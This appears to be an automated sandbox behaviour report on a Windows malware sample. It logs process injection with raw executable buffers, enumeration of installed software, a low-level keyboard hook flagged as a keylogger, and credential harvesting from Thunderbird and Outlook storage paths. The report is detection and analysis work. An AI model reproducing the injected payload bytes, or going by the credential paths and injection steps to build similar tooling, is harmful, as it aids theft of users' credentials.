WriteProcessMemory July 19, 2021, 10:32 a.m.	buffer: MZÿÿ¸@Ðº´ Í!¸LÍ!This program cannot be run in DOS mode. $±Àõï®Ïõï®Ïõï®Ï®¯Îðï®Ïõï¯Ïÿï®Ïo§Îðï®Ïo¬Îôï®ÏRichõï®ÏPELB`àä @P@l<@)8 0.text `.rdata @@.data`0@À.reloc@ @BUììhà%@ÿ @EüÀTSV5 @Whü%@PÿÖh&@£0@ÿÐh$&@Eøÿ0@h8&@Eðÿ0@hP&@Øÿ0@hd&@øÿ0@hP&@Eôÿ0@h\|&@ÿuüÿÖuüh&@V£80@ÿÐh &@V£0@ÿ80@h´&@V£D0@ÿ80@hÀ&@V£$0@ÿ80@hÌ&@V£<0@ÿ80@hØ&@V£0@ÿ80@hè&@V£40@ÿ80@hô&@V£0@ÿ80@h'@V£00@ÿ80@uøh'@V£ 0@ÿ80@h'@V£0@ÿ80@h'@V£T0@ÿ80@h('@Vÿ80@h4'@Vÿ80@hH'@W£X0@ÿ80@}ühX'@Wÿ80@hd'@Wÿ80@ht'@Wÿ80@h'@W£@0@ÿ80@h'@S£,0@ÿ80@h¨'@Vÿ80@uôh´'@V£0@ÿ80@]ðhÄ'@Sÿ80@hÌ'@S£(0@ÿ80@hÔ'@Sÿ80@hÜ'@V£0@ÿ80@hì'@V£H0@ÿ80@h(@V£\0@ÿ80@h(@V£0@ÿ80@h$(@V£P0@ÿ80@_^£L0@[ÉÃUììðûÿÿVhP3öVÿ0@øýÿÿPVVjVÿ( @Àxfh4(@øýÿÿPÿ0@øýÿÿPÿX0@ÀuVøýÿÿPÿD0@h\(@øýÿÿPÿ0@øýÿÿPðûÿÿPÿT0@Àtøýÿÿè,^ÉÃVøýÿÿPðûÿÿPÿ @øýÿÿè jÿÿ @ÌUììXSVWjD_W3ÛE¨SPñÿ(0@jEì}¨SPÿ(0@Ähj@ÿ0@ºx(@EüMüèºÄ(@Müèºè(@MüèrÖMüèhºø(@Müè[}üEìPE¨PSShSSSWh)@ÿ @ÀuÿtWÿ00@3Àë)jÿÿuìÿ @ÿuì5 @ÿÖÿuðÿÖÿtWÿ00@3À@_^[ÉÃUì3ÀÒtúÿÿÿv¸WÀxHÒt+VW}¾þÿÿ+ò+ùÀt·fÀtfÁêuå_^ÒAþEÁ3ÉÒf¸zEÁë Òt3Òf]ÂUìQSVWjl[òùj1Xf9¤Vÿ 0@ø"j0Vÿ0@ÀjOVÿ0@ÀuvjIVÿ0@ÀuiSVÿ0@Àu]Vÿ7ÿT0@ØÛtKÓ+ÑúRèºP @YMüEüèûVÿ 0@MüCèé?tÿ7ÿ @Eü3À@éýjl[f>3ufVÿ 0@ø"uZj0Vÿ0@ÀuMjOVÿ0@Àu@jIVÿ0@Àu3SVÿ0@Àu'Vÿ7ÿT0@ØÛtÓ+ÑúRèàº @éYÿÿÿVÿ 0@jcYjb[øu[f9uVf9NuPj1Xf9FuGjO^Sÿ0@Àu4jISÿ0@Àu'Vÿ7ÿT0@ØÛtÓ+ÑúRèvºà @éïþÿÿjb[Vÿ 0@øu^f9uYf~nuRf9^uLj1^Xf9uAjOSÿ0@Àu4jISÿ0@Àu'Vÿ7ÿT0@ØÛtÓ+ÑúRè º%@éþÿÿf>LuiVÿ 0@ø"u]j0Vÿ0@ÀuPjOVÿ0@ÀuCjIVÿ0@jl[Àu6SVÿ0@ÀuVÿ7ÿT0@ØÛtÓ+ÑúRèº8!@éþÿÿjl[f>MufVÿ 0@ø"uZj0Vÿ0@ÀuMjOVÿ0@Àu@jIVÿ0@Àu3SVÿ0@Àu'Vÿ7ÿT0@ØÛtÓ+ÑúRè+º!@é¤ýÿÿVÿ 0@ø+udjlXf9u\f~tuUjcXf9FuLj1^Xf9uAjOSÿ0@Àu4jISÿ0@Àu'Vÿ7ÿT0@ØÛtÓ+ÑúRè»ºÈ!@é4ýÿÿÎèêÀt'Vÿ7ÿT0@ØÛtÓ+ÑúRèº base_address: 0x00403000 process_identifier: 2464 process_handle: 0x00000538		0	0
WriteProcessMemory July 19, 2021, 10:32 a.m.	buffer: MZÿÿ¸@º´ Í!¸LÍ!This program cannot be run in DOS mode. $PEL#·^à¨ Ç à@ @ÄÆWàÿ H.text$§ ¨ `.rsrcÿàª@@.reloc²@B base_address: 0x00400000 process_identifier: 3156 process_handle: 0x00000368	1	1	0
WriteProcessMemory July 19, 2021, 10:32 a.m.	buffer: MZÿÿ¸@º´ Í!¸LÍ!This program cannot be run in DOS mode. $PELèu=^àBna @ À@aWØ H.texttA B `.rsrcØD@@.reloc J@B base_address: 0x00400000 process_identifier: 4076 process_handle: 0x000002a4	1	1	0
WriteProcessMemory July 19, 2021, 10:32 a.m.	buffer: MZÿÿ¸@º´ Í!¸LÍ!This program cannot be run in DOS mode. $PELÅn=^àî; @@ @;W@è`\: H.textô `.rsrcè@@@.reloc`.@B base_address: 0x00400000 process_identifier: 3936 process_handle: 0x000002ac	1	1	0
WriteProcessMemory July 19, 2021, 10:32 a.m.	buffer: MZÿÿ¸@Ðº´ Í!¸LÍ!This program cannot be run in DOS mode. $±Àõï®Ïõï®Ïõï®Ï®¯Îðï®Ïõï¯Ïÿï®Ïo§Îðï®Ïo¬Îôï®ÏRichõï®ÏPELB`àä @P@l*<@)8 0.text `.rdata @@.data`0@À.reloc@ @B base_address: 0x00400000 process_identifier: 3316 process_handle: 0x00000538	1	1	0
WriteProcessMemory July 19, 2021, 10:32 a.m.	buffer: MZÿÿ¸@Ðº´ Í!¸LÍ!This program cannot be run in DOS mode. $±Àõï®Ïõï®Ïõï®Ï®¯Îðï®Ïõï¯Ïÿï®Ïo§Îðï®Ïo¬Îôï®ÏRichõï®ÏPELB`àä @P@l<@)8 0.text `.rdata @@.data`0@À.reloc@ @BUììhà%@ÿ @EüÀTSV5 @Whü%@PÿÖh&@£0@ÿÐh$&@Eøÿ0@h8&@Eðÿ0@hP&@Øÿ0@hd&@øÿ0@hP&@Eôÿ0@h\|&@ÿuüÿÖuüh&@V£80@ÿÐh &@V£0@ÿ80@h´&@V£D0@ÿ80@hÀ&@V£$0@ÿ80@hÌ&@V£<0@ÿ80@hØ&@V£0@ÿ80@hè&@V£40@ÿ80@hô&@V£0@ÿ80@h'@V£00@ÿ80@uøh'@V£ 0@ÿ80@h'@V£0@ÿ80@h'@V£T0@ÿ80@h('@Vÿ80@h4'@Vÿ80@hH'@W£X0@ÿ80@}ühX'@Wÿ80@hd'@Wÿ80@ht'@Wÿ80@h'@W£@0@ÿ80@h'@S£,0@ÿ80@h¨'@Vÿ80@uôh´'@V£0@ÿ80@]ðhÄ'@Sÿ80@hÌ'@S£(0@ÿ80@hÔ'@Sÿ80@hÜ'@V£0@ÿ80@hì'@V£H0@ÿ80@h(@V£\0@ÿ80@h(@V£0@ÿ80@h$(@V£P0@ÿ80@_^£L0@[ÉÃUììðûÿÿVhP3öVÿ0@øýÿÿPVVjVÿ( @Àxfh4(@øýÿÿPÿ0@øýÿÿPÿX0@ÀuVøýÿÿPÿD0@h\(@øýÿÿPÿ0@øýÿÿPðûÿÿPÿT0@Àtøýÿÿè,^ÉÃVøýÿÿPðûÿÿPÿ @øýÿÿè jÿÿ @ÌUììXSVWjD_W3ÛE¨SPñÿ(0@jEì}¨SPÿ(0@Ähj@ÿ0@ºx(@EüMüèºÄ(@Müèºè(@MüèrÖMüèhºø(@Müè[}üEìPE¨PSShSSSWh)@ÿ @ÀuÿtWÿ00@3Àë)jÿÿuìÿ @ÿuì5 @ÿÖÿuðÿÖÿtWÿ00@3À@_^[ÉÃUì3ÀÒtúÿÿÿv¸WÀxHÒt+VW}¾þÿÿ+ò+ùÀt·fÀtfÁêuå_^ÒAþEÁ3ÉÒf¸zEÁë Òt3Òf]ÂUìQSVWjl[òùj1Xf9¤Vÿ 0@ø"j0Vÿ0@ÀjOVÿ0@ÀuvjIVÿ0@ÀuiSVÿ0@Àu]Vÿ7ÿT0@ØÛtKÓ+ÑúRèºP @YMüEüèûVÿ 0@MüCèé?tÿ7ÿ @Eü3À@éýjl[f>3ufVÿ 0@ø"uZj0Vÿ0@ÀuMjOVÿ0@Àu@jIVÿ0@Àu3SVÿ0@Àu'Vÿ7ÿT0@ØÛtÓ+ÑúRèàº @éYÿÿÿVÿ 0@jcYjb[øu[f9uVf9NuPj1Xf9FuGjO^Sÿ0@Àu4jISÿ0@Àu'Vÿ7ÿT0@ØÛtÓ+ÑúRèvºà @éïþÿÿjb[Vÿ 0@øu^f9uYf~nuRf9^uLj1^Xf9uAjOSÿ0@Àu4jISÿ0@Àu'Vÿ7ÿT0@ØÛtÓ+ÑúRè º%@éþÿÿf>LuiVÿ 0@ø"u]j0Vÿ0@ÀuPjOVÿ0@ÀuCjIVÿ0@jl[Àu6SVÿ0@ÀuVÿ7ÿT0@ØÛtÓ+ÑúRèº8!@éþÿÿjl[f>MufVÿ 0@ø"uZj0Vÿ0@ÀuMjOVÿ0@Àu@jIVÿ0@Àu3SVÿ0@Àu'Vÿ7ÿT0@ØÛtÓ+ÑúRè+º!@é¤ýÿÿVÿ 0@ø+udjlXf9u\f~tuUjcXf9FuLj1^Xf9uAjOSÿ0@Àu4jISÿ0@Àu'Vÿ7ÿT0@ØÛtÓ+ÑúRè»ºÈ!@é4ýÿÿÎèêÀt'Vÿ7ÿT0@ØÛtÓ+ÑúRèº base_address: 0x00403000 process_identifier: 3316 process_handle: 0x00000538		0	0

Collects information about installed applications (50 out of 96 events)

Time & API	Arguments	Status
RegQueryValueExA July 19, 2021, 10:32 a.m.	key_handle: 0x00000670 regkey_r: DisplayName reg_type: 1 (REG_SZ) value: 7-Zip 20.02 alpha regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\7-Zip\DisplayName	1
RegQueryValueExA July 19, 2021, 10:32 a.m.	key_handle: 0x00000670 regkey_r: DisplayName reg_type: 1 (REG_SZ) value: Adobe AIR regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\Adobe AIR\DisplayName	1
RegQueryValueExA July 19, 2021, 10:32 a.m.	key_handle: 0x00000670 regkey_r: DisplayName reg_type: 1 (REG_SZ) value: EditPlus regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\EditPlus\DisplayName	1
RegQueryValueExA July 19, 2021, 10:32 a.m.	key_handle: 0x00000670 regkey_r: DisplayName reg_type: 1 (REG_SZ) value: Chrome regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\Google Chrome\DisplayName	1
RegQueryValueExA July 19, 2021, 10:32 a.m.	key_handle: 0x00000670 regkey_r: DisplayName reg_type: 1 (REG_SZ) value: ????? ?? 2010 regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\Haansoft HWord 80 Korean\DisplayName	1
RegQueryValueExA July 19, 2021, 10:32 a.m.	key_handle: 0x00000670 regkey_r: DisplayName reg_type: 1 (REG_SZ) value: Mozilla Thunderbird 78.4.0 (x86 ko) regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\Mozilla Thunderbird 78.4.0 (x86 ko)\DisplayName	1
RegQueryValueExA July 19, 2021, 10:32 a.m.	key_handle: 0x00000670 regkey_r: DisplayName reg_type: 1 (REG_SZ) value: Microsoft Office Professional Plus 2010 regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\Office14.PROPLUS\DisplayName	1
RegQueryValueExA July 19, 2021, 10:32 a.m.	key_handle: 0x00000670 regkey_r: DisplayName reg_type: 1 (REG_SZ) value: Adobe AIR regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{00203668-8170-44A0-BE44-B632FA4D780F}\DisplayName	1
RegQueryValueExA July 19, 2021, 10:32 a.m.	key_handle: 0x00000670 regkey_r: DisplayName reg_type: 1 (REG_SZ) value: HttpWatch Professional 9.3.39 regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{01B845D4-B73E-4CF7-A377-94BC7BB4F77B}\DisplayName	1
RegQueryValueExA July 19, 2021, 10:32 a.m.	key_handle: 0x00000670 regkey_r: DisplayName reg_type: 1 (REG_SZ) value: ????? ?? 2010 regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{1D91F7DA-F517-4727-9E62-B7EA978BE980}\DisplayName	1
RegQueryValueExA July 19, 2021, 10:32 a.m.	key_handle: 0x00000670 regkey_r: DisplayName reg_type: 1 (REG_SZ) value: Java 8 Update 131 regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{26A24AE4-039D-4CA4-87B4-2F32180131F0}\DisplayName	1
RegQueryValueExA July 19, 2021, 10:32 a.m.	key_handle: 0x00000670 regkey_r: DisplayName reg_type: 1 (REG_SZ) value: Java Auto Updater regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{4A03706F-666A-4037-7777-5F2748764D10}\DisplayName	1
RegQueryValueExA July 19, 2021, 10:32 a.m.	key_handle: 0x00000670 regkey_r: DisplayName reg_type: 1 (REG_SZ) value: Google Update Helper regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{60EC980A-BDA2-4CB6-A427-B07A5498B4CA}\DisplayName	1
RegQueryValueExA July 19, 2021, 10:32 a.m.	key_handle: 0x00000670 regkey_r: DisplayName reg_type: 1 (REG_SZ) value: Microsoft Office Professional Plus 2010 regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{90140000-0011-0000-0000-0000000FF1CE}\DisplayName	1
RegQueryValueExA July 19, 2021, 10:32 a.m.	key_handle: 0x00000670 regkey_r: DisplayName reg_type: 1 (REG_SZ) value: Microsoft Office Access MUI (Korean) 2010 regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{90140000-0015-0412-0000-0000000FF1CE}\DisplayName	1
RegQueryValueExA July 19, 2021, 10:32 a.m.	key_handle: 0x00000670 regkey_r: DisplayName reg_type: 1 (REG_SZ) value: Microsoft Office Excel MUI (Korean) 2010 regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{90140000-0016-0412-0000-0000000FF1CE}\DisplayName	1
RegQueryValueExA July 19, 2021, 10:32 a.m.	key_handle: 0x00000670 regkey_r: DisplayName reg_type: 1 (REG_SZ) value: Microsoft Office PowerPoint MUI (Korean) 2010 regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{90140000-0018-0412-0000-0000000FF1CE}\DisplayName	1
RegQueryValueExA July 19, 2021, 10:32 a.m.	key_handle: 0x00000670 regkey_r: DisplayName reg_type: 1 (REG_SZ) value: Microsoft Office Publisher MUI (Korean) 2010 regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{90140000-0019-0412-0000-0000000FF1CE}\DisplayName	1
RegQueryValueExA July 19, 2021, 10:32 a.m.	key_handle: 0x00000670 regkey_r: DisplayName reg_type: 1 (REG_SZ) value: Microsoft Office Outlook MUI (Korean) 2010 regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{90140000-001A-0412-0000-0000000FF1CE}\DisplayName	1
RegQueryValueExA July 19, 2021, 10:32 a.m.	key_handle: 0x00000670 regkey_r: DisplayName reg_type: 1 (REG_SZ) value: Microsoft Office Word MUI (Korean) 2010 regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{90140000-001B-0412-0000-0000000FF1CE}\DisplayName	1
RegQueryValueExA July 19, 2021, 10:32 a.m.	key_handle: 0x00000670 regkey_r: DisplayName reg_type: 1 (REG_SZ) value: Microsoft Office Proof (English) 2010 regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{90140000-001F-0409-0000-0000000FF1CE}\DisplayName	1
RegQueryValueExA July 19, 2021, 10:32 a.m.	key_handle: 0x00000670 regkey_r: DisplayName reg_type: 1 (REG_SZ) value: Microsoft Office Proof (Korean) 2010 regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{90140000-001F-0412-0000-0000000FF1CE}\DisplayName	1
RegQueryValueExA July 19, 2021, 10:32 a.m.	key_handle: 0x00000670 regkey_r: DisplayName reg_type: 1 (REG_SZ) value: Microsoft Office IME (Korean) 2010 regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{90140000-0028-0412-0000-0000000FF1CE}\DisplayName	1
RegQueryValueExA July 19, 2021, 10:32 a.m.	key_handle: 0x00000670 regkey_r: DisplayName reg_type: 1 (REG_SZ) value: Microsoft Office Proofing (Korean) 2010 regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{90140000-002C-0412-0000-0000000FF1CE}\DisplayName	1
RegQueryValueExA July 19, 2021, 10:32 a.m.	key_handle: 0x00000670 regkey_r: DisplayName reg_type: 1 (REG_SZ) value: Microsoft Office InfoPath MUI (Korean) 2010 regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{90140000-0044-0412-0000-0000000FF1CE}\DisplayName	1
RegQueryValueExA July 19, 2021, 10:32 a.m.	key_handle: 0x00000670 regkey_r: DisplayName reg_type: 1 (REG_SZ) value: Microsoft Office Shared MUI (Korean) 2010 regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{90140000-006E-0412-0000-0000000FF1CE}\DisplayName	1
RegQueryValueExA July 19, 2021, 10:32 a.m.	key_handle: 0x00000670 regkey_r: DisplayName reg_type: 1 (REG_SZ) value: Microsoft Office OneNote MUI (Korean) 2010 regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{90140000-00A1-0412-0000-0000000FF1CE}\DisplayName	1
RegQueryValueExA July 19, 2021, 10:32 a.m.	key_handle: 0x00000670 regkey_r: DisplayName reg_type: 1 (REG_SZ) value: Microsoft Office Groove MUI (Korean) 2010 regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{90140000-00BA-0412-0000-0000000FF1CE}\DisplayName	1
RegQueryValueExA July 19, 2021, 10:32 a.m.	key_handle: 0x00000670 regkey_r: DisplayName reg_type: 1 (REG_SZ) value: Adobe Flash Player 13 ActiveX regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{939659F3-71D2-461F-B24D-91D05A4389B4}\DisplayName	1
RegQueryValueExA July 19, 2021, 10:32 a.m.	key_handle: 0x00000670 regkey_r: DisplayName reg_type: 1 (REG_SZ) value: Adobe Flash Player 13 NPAPI regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{9B84A461-3B4C-40E2-B44F-CE22E215EE40}\DisplayName	1
RegQueryValueExA July 19, 2021, 10:32 a.m.	key_handle: 0x00000670 regkey_r: DisplayName reg_type: 1 (REG_SZ) value: Adobe Reader 9 regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{AC76BA86-7AD7-1033-7B44-A90000000001}\DisplayName	1
RegQueryValueExA July 19, 2021, 10:32 a.m.	key_handle: 0x00000670 regkey_r: DisplayName reg_type: 1 (REG_SZ) value: Microsoft Visual C++ 2015 Redistributable (x64) - 14.0.24215 regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{d992c12e-cab2-426f-bde3-fb8c53950b0d}\DisplayName	1
RegQueryValueExW July 19, 2021, 10:31 a.m.	key_handle: 0x0000037c regkey_r: DisplayName reg_type: 1 (REG_SZ) value: 7-Zip 20.02 alpha regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\7-Zip\DisplayName	1
RegQueryValueExW July 19, 2021, 10:31 a.m.	key_handle: 0x00000394 regkey_r: DisplayName reg_type: 1 (REG_SZ) value: Adobe AIR regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\Adobe AIR\DisplayName	1
RegQueryValueExW July 19, 2021, 10:31 a.m.	key_handle: 0x000003ac regkey_r: DisplayName reg_type: 1 (REG_SZ) value: EditPlus regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\EditPlus\DisplayName	1
RegQueryValueExW July 19, 2021, 10:31 a.m.	key_handle: 0x000003bc regkey_r: DisplayName reg_type: 1 (REG_SZ) value: Chrome regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\Google Chrome\DisplayName	1
RegQueryValueExW July 19, 2021, 10:31 a.m.	key_handle: 0x000003c4 regkey_r: DisplayName reg_type: 1 (REG_SZ) value: 한컴오피스 한글 2010 regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\Haansoft HWord 80 Korean\DisplayName	1
RegQueryValueExW July 19, 2021, 10:31 a.m.	key_handle: 0x000003f4 regkey_r: DisplayName reg_type: 1 (REG_SZ) value: Mozilla Thunderbird 78.4.0 (x86 ko) regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\Mozilla Thunderbird 78.4.0 (x86 ko)\DisplayName	1
RegQueryValueExW July 19, 2021, 10:31 a.m.	key_handle: 0x000003fc regkey_r: DisplayName reg_type: 1 (REG_SZ) value: Microsoft Office Professional Plus 2010 regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\Office14.PROPLUS\DisplayName	1
RegQueryValueExW July 19, 2021, 10:31 a.m.	key_handle: 0x00000418 regkey_r: DisplayName reg_type: 1 (REG_SZ) value: Adobe AIR regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{00203668-8170-44A0-BE44-B632FA4D780F}\DisplayName	1
RegQueryValueExW July 19, 2021, 10:31 a.m.	key_handle: 0x00000420 regkey_r: DisplayName reg_type: 1 (REG_SZ) value: HttpWatch Professional 9.3.39 regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{01B845D4-B73E-4CF7-A377-94BC7BB4F77B}\DisplayName	1
RegQueryValueExW July 19, 2021, 10:31 a.m.	key_handle: 0x00000428 regkey_r: DisplayName reg_type: 1 (REG_SZ) value: 한컴오피스 한글 2010 regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{1D91F7DA-F517-4727-9E62-B7EA978BE980}\DisplayName	1
RegQueryValueExW July 19, 2021, 10:31 a.m.	key_handle: 0x00000430 regkey_r: DisplayName reg_type: 1 (REG_SZ) value: Java 8 Update 131 regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{26A24AE4-039D-4CA4-87B4-2F32180131F0}\DisplayName	1
RegQueryValueExW July 19, 2021, 10:31 a.m.	key_handle: 0x00000438 regkey_r: DisplayName reg_type: 1 (REG_SZ) value: Java Auto Updater regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{4A03706F-666A-4037-7777-5F2748764D10}\DisplayName	1
RegQueryValueExW July 19, 2021, 10:31 a.m.	key_handle: 0x00000440 regkey_r: DisplayName reg_type: 1 (REG_SZ) value: Google Update Helper regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{60EC980A-BDA2-4CB6-A427-B07A5498B4CA}\DisplayName	1
RegQueryValueExW July 19, 2021, 10:31 a.m.	key_handle: 0x00000448 regkey_r: DisplayName reg_type: 1 (REG_SZ) value: Microsoft Office Professional Plus 2010 regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{90140000-0011-0000-0000-0000000FF1CE}\DisplayName	1
RegQueryValueExW July 19, 2021, 10:31 a.m.	key_handle: 0x00000450 regkey_r: DisplayName reg_type: 1 (REG_SZ) value: Microsoft Office Access MUI (Korean) 2010 regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{90140000-0015-0412-0000-0000000FF1CE}\DisplayName	1
RegQueryValueExW July 19, 2021, 10:31 a.m.	key_handle: 0x00000458 regkey_r: DisplayName reg_type: 1 (REG_SZ) value: Microsoft Office Excel MUI (Korean) 2010 regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{90140000-0016-0412-0000-0000000FF1CE}\DisplayName	1
RegQueryValueExW July 19, 2021, 10:31 a.m.	key_handle: 0x00000460 regkey_r: DisplayName reg_type: 1 (REG_SZ) value: Microsoft Office PowerPoint MUI (Korean) 2010 regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{90140000-0018-0412-0000-0000000FF1CE}\DisplayName	1
RegQueryValueExW July 19, 2021, 10:31 a.m.	key_handle: 0x00000468 regkey_r: DisplayName reg_type: 1 (REG_SZ) value: Microsoft Office Publisher MUI (Korean) 2010 regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{90140000-0019-0412-0000-0000000FF1CE}\DisplayName	1

Creates a windows hook that monitors keyboard input (keylogger) (1 event)

Time & API	Arguments	Status	Return	Repeated
SetWindowsHookExW July 19, 2021, 10:32 a.m.	thread_identifier: 0 callback_function: 0x004ca8cc hook_identifier: 13 (WH_KEYBOARD_LL) module_address: 0x00000000	1	262667	0

Harvests credentials from local email clients (6 events)

file	C:\Users\test22\AppData\Roaming\Thunderbird\Profiles\hzkyl8yo.default
file	C:\Users\test22\AppData\Roaming\Thunderbird\profiles.ini
registry	HKEY_CURRENT_USER\Software\Microsoft\Internet Account Manager\Accounts
registry	HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000002\SMTP Password2
registry	HKEY_CURRENT_USER\Software\Microsoft\Office\Outlook\OMI Account Manager
registry	HKEY_CURRENT_USER\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook

Network activity contains more than one unique useragent (4 events)

process	GDSFbnvfghsrf.exe	useragent	Mozilla/4.0 (compatible; MSIE 6.0b; Windows NT 5.1)
process	Fdfgrytbvdfsd.exe	useragent
process	rc.exe	useragent	zipo
process	rc.exe	useragent	aswe

Used NtSetContextThread to modify a thread in a remote process indicative of process injection (26 events)

Time & API	Arguments	Status	Return	Repeated
Process injection	Process 2424 called NtSetContextThread to modify thread in remote process 2604
Process injection	Process 2520 called NtSetContextThread to modify thread in remote process 2708
Process injection	Process 2556 called NtSetContextThread to modify thread in remote process 2760
Process injection	Process 2568 called NtSetContextThread to modify thread in remote process 3844
Process injection	Process 2780 called NtSetContextThread to modify thread in remote process 2532
Process injection	Process 2852 called NtSetContextThread to modify thread in remote process 4008
Process injection	Process 2856 called NtSetContextThread to modify thread in remote process 3184
Process injection	Process 200 called NtSetContextThread to modify thread in remote process 2464
Process injection	Process 3284 called NtSetContextThread to modify thread in remote process 3156
Process injection	Process 3356 called NtSetContextThread to modify thread in remote process 3248
Process injection	Process 3404 called NtSetContextThread to modify thread in remote process 4076
Process injection	Process 3476 called NtSetContextThread to modify thread in remote process 3936
Process injection	Process 3548 called NtSetContextThread to modify thread in remote process 3316
NtSetContextThread July 19, 2021, 10:31 a.m.	registers.eip: 4804608 registers.esp: 1638384 registers.edi: 0 registers.eax: 4456511 registers.ebp: 0 registers.edx: 0 registers.ebx: 2130567168 registers.esi: 0 registers.ecx: 2004287940 thread_handle: 0x00000230 process_identifier: 2604	1	0	0
NtSetContextThread July 19, 2021, 10:31 a.m.	registers.eip: 4325376 registers.esp: 1638384 registers.edi: 0 registers.eax: 4302468 registers.ebp: 0 registers.edx: 0 registers.ebx: 2130567168 registers.esi: 0 registers.ecx: 2004287940 thread_handle: 0x00000118 process_identifier: 2708	1	0	0
